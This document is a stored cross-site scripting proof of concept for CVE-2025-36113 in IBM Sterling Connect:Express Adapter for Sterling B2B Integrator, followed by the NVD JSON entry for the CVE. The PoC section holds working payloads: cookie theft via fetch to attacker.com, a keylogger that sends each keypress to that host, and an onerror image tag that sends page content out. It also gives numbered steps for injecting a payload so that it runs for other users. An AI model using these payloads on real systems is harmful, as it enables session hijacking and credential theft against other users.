CVE-2025-36113

<!-- Stored XSS PoC for CVE-2025-36113 --> <!-- This PoC demonstrates injecting JavaScript into a vulnerable field --> <!-- Example 1: Basic XSS payload --> <script>alert(document.cookie)</script> <!-- Example 2: Session hijacking payload --> <script> fetch('https://attacker.com/steal?cookie=' + document.cookie); </script> <!-- Example 3: Keylogger payload --> <script> document.addEventListener('keypress', function(e) { fetch('https://attacker.com/log?key=' + e.key); }); </script> <!-- Example 4: DOM-based credential harvesting --> <img src=x onerror='fetch("https://attacker.com/collect?data="+btoa(document.body.innerHTML))'> <!-- Steps to exploit: 1. Authenticate to IBM Sterling B2B Integrator as a low-privilege user 2. Navigate to a vulnerable input field in the Web UI 3. Inject one of the above XSS payloads 4. Save/submit the form 5. When other users view the affected page, the payload will execute -->

{"cve": {"id": "CVE-2025-36113", "sourceIdentifier": "[email protected]", "published": "2026-01-20T16:16:03.543", "lastModified": "2026-02-03T21:57:07.187", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "IBM Sterling Connect:Express Adapter for Sterling B2B Integrator 5.2.0 5.2.0.00 through 5.2.0.12 is vulnerable to cross-site scripting. This vulnerability allows an authenticated user to embed arbitrary JavaScript code in the Web UI thus altering the intended functionality potentially leading to credentials disclosure within a trusted session."}, {"lang": "es", "value": "IBM Sterling Connect:Express Adaptador para Sterling B2B Integrator 5.2.0 5.2.0.00 hasta 5.2.0.12 es vulnerable a cross-site scripting. Esta vulnerabilidad permite a un usuario autenticado incrustar código JavaScript arbitrario en la interfaz de usuario web, alterando así la funcionalidad prevista y potencialmente llevando a la divulgación de credenciales dentro de una sesión de confianza."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ibm:sterling_connect\\:express_adapter_for_sterling_b2b_integrator:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.2.0.00", "versionEndExcluding": "5.2.0.13", "matchCriteriaId": "9FAC986A-388C-48CB-9717-817B108C98F7"}]}]}], "references": [{"url": "https://www.ibm.com/support/pages/node/7257244", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}